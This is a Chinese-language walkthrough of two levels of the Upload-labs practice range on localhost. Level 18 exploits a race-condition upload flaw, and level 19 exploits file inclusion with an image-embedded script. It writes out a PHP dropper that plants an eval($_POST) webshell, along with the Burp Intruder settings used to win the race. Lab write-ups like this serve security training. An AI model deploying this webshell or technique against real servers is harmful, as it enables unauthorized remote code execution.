第18关(条件竞争)
什么是条件竞争呢?
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。在这关它先把文件上传至网站目录, 然后才对文件进行检验来决定是否删除这个文件,所以我们可以通过burpsuite发送大量的上传文件和访问所创建的webshell文件的请求,从而绕过代码的限制,上传后门文件
首先我们创建一个xx.php文件(我这里是17.php文件),在里面写入以下代码:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
这段代码的意思就是创建一个Tony.php的后门文件,Tony.php里面的内容为<?php @eval($_POST["Tony"])?>');?>
接下来我们通过bp发送大量的上传和文件访问请求
上传请求:
首先上传一个17.php并抓包, 将包发送给intruder模块(测试器模块)
找到intruder模块的位置模块,点击清除
点击有效载荷,找到没有负载和点击无限期的重复
完成上面的那步后,我们点击选项模块,把线程设置为20(也可以设置为其他的)
这样就设置完文件上传的请求了
文件访问的请求:
文件访问地址:127.0.0.1/upload-labs/upload/Tony.php(或者把127.0.0.1改为本机的IP地址也可以)
步骤和前面一样
接下来我们开始攻击,我们要分别点击上传请求的开始攻击按钮和文件访问的按钮(如果只点一个,它只会攻击一个)
因为需要大量的请求,所以时间可能要长一点才会有效果(我这发送了大概七万个请求包才成功),成功的标志
然后我们使用蚁剑进行连接(这不过多赘述,步骤前面几关都有)
第19关(文件包含漏洞)
这关不知道是不是代码有问题,还是我的配置有问题,我这直接用文件包含漏洞就能上传上去,我还看了其他人的wp,他们的都是用白名单+条件竞争+apache解析漏洞或者白名单+条件竞争+文件包含漏洞
我这就说我使用的方法吧,如果想要其他方法的可以看这篇Upload-labs 1-21关 靶场通关笔记(含代码审计)_addhandler sethandler upload 19关-CSDN博客
我们直接上传一个图片马(test.jpg,这个文件之前的前几关就弄过了,不会的话,可以看前面的),test1.jpg中已经插入了一句话
上传,然后我们下载上传后经过重命名的图片,发现一句话还在里面
我们构造蚁剑的连接地址(因为存在文件包含漏洞)
http://127.0.0.1/upload-labs/include.php?file=./
然后使用蚁剑进行连接
测试连接,连接成功,添加数据,查看,发现就能进行文件夹里面了